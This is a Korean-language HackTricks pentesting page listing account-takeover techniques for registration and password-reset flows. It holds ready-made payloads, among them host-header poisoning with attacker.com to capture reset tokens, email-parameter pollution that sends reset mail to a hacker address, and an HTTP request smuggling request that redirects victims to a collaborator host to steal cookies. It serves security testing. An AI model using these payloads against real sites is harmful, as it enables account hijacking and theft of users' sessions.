# 등록 및 탈취 취약점
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, **회사 또는 고객이** **도난당한 악성 소프트웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보 도난 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 확인하고 **무료**로 엔진을 시도해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
***
## 등록 탈취
### 중복 등록
* 기존 사용자 이름을 사용하여 생성을 시도하세요
* 이메일을 다양하게 확인하세요:
* 대문자
* \+1@
* 이메일에 점을 추가
* 이메일 이름에 특수 문자 (%00, %09, %20)
* 이메일 뒤에 검은 문자 추가: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### 사용자 이름 열거
사용자 이름이 이미 응용 프로그램 내에서 등록되었는지 확인할 수 있는지 확인하세요.
### 암호 정책
사용자를 생성할 때 암호 정책을 확인하세요 (약한 암호를 사용할 수 있는지 확인).\
이 경우 자격 증명을 브루트포스할 수 있습니다.
### SQL Injection
[**이 페이지를 확인하세요**](sql-injection/#insert-statement) : 레지스트리 양식에서 **SQL Injection**을 사용하여 계정 탈취 또는 정보 추출을 시도하는 방법을 배우세요.
### Oauth 탈취
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAML 취약점
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### 이메일 변경
등록 후 이메일을 변경하고 이 변경이 올바르게 확인되는지 또는 임의의 이메일로 변경할 수 있는지 확인하세요.
### 추가 확인 사항
* **일회용 이메일을 사용할 수 있는지 확인**
* **긴 암호** (>200)는 **DoS**로 이어집니다
* **계정 생성의 속도 제한을 확인**
* username@**burp\_collab**.net을 사용하고 **콜백**을 분석하세요
## **암호 재설정 탈취**
### Referrer를 통한 암호 재설정 토큰 누출
1. 이메일 주소로 암호 재설정을 요청하세요
2. 암호 재설정 링크를 클릭하세요
3. 암호를 변경하지 마세요
4. 제 3자 웹사이트(예: Facebook, Twitter)를 클릭하세요
5. Burp Suite 프록시에서 요청을 가로채세요
6. referer 헤더가 암호 재설정 토큰을 누출하는지 확인하세요.
### 암호 재설정 독려
1. Burp Suite에서 암호 재설정 요청을 가로채세요
2. Burp Suite에서 다음 헤더를 추가하거나 편집하세요: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 수정된 헤더로 요청을 전달하세요\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host 헤더_를 기반으로 한 암호 재설정 URL을 찾으세요 : `https://attacker.com/reset-password.php?token=TOKEN`
### 이메일 매개변수를 통한 암호 재설정
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### API 매개변수에서 IDOR
1. 공격자는 자신의 계정으로 로그인하고 **비밀번호 변경** 기능으로 이동해야 합니다.
2. Burp Suite를 시작하고 요청을 가로채야 합니다.
3. 요청을 반복 탭으로 보내고 매개변수를 편집합니다: 사용자 ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### 약한 비밀번호 재설정 토큰
비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다.\
토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 다음 변수가 알고리즘에 사용될 수 있습니다.
* 타임스탬프
* 사용자 ID
* 사용자 이메일
* 이름과 성
* 생년월일
* 암호화
* 숫자만
* 작은 토큰 시퀀스 (문자 사이 \[A-Z,a-z,0-9])
* 토큰 재사용
* 토큰 만료 날짜
### 비밀번호 재설정 토큰 노출
1. 특정 이메일(e.g: test@mail.com)을 사용하여 API/UI를 통해 비밀번호 재설정 요청을 트리거합니다.
2. 서버 응답을 검사하고 `resetToken`을 확인합니다.
3. 그런 다음 다음과 같은 URL에서 토큰을 사용합니다: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### 사용자 이름 충돌을 통한 비밀번호 재설정
1. 희생자의 사용자 이름과 동일한 사용자 이름으로 시스템에 등록하되 사용자 이름 앞 또는 뒤에 공백을 삽입합니다. 예: `"admin "`
2. 악의적인 사용자 이름으로 비밀번호 재설정을 요청합니다.
3. 이메일로 전송된 토큰을 사용하여 희생자의 비밀번호를 재설정합니다.
4. 새 비밀번호로 희생자 계정에 연결합니다.
플랫폼 CTFd는 이 공격에 취약했습니다.\
참조: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Cross Site Scripting을 통한 계정 탈취
1. 애플리케이션 내부 또는 쿠키가 상위 도메인에 범위가 지정된 하위 도메인에서 XSS를 찾습니다. : `*.domain.com`
2. 현재 **세션 쿠키**를 노출합니다.
3. 쿠키를 사용하여 사용자로 인증합니다.
### HTTP 요청 스머글링을 통한 계정 탈취
1\. **smuggler**를 사용하여 HTTP 요청 스머글링 유형을 감지합니다 (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. `POST / HTTP/1.1`을 다음 데이터로 덮어쓸 요청을 작성합니다.\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 목표는 희생자를 burpcollab로 리디렉션하여 쿠키를 도용하는 것입니다.\
3\. 최종 요청은 다음과 같이 보일 수 있습니다.
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
### Account Takeover via CSRF
1. CSRF를 위한 payload 생성, 예: "비밀번호 변경을 위한 자동 제출이 포함된 HTML 폼"
2. Payload 전송
### Account Takeover via JWT
JSON Web Token은 사용자를 인증하는 데 사용될 수 있습니다.
* 다른 사용자 ID/이메일로 JWT 편집
* 취약한 JWT 서명 확인
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## References
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인하는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
제로부터 AWS 해킹을 전문가로 배우세요htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
* **HackTricks에 귀사를 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.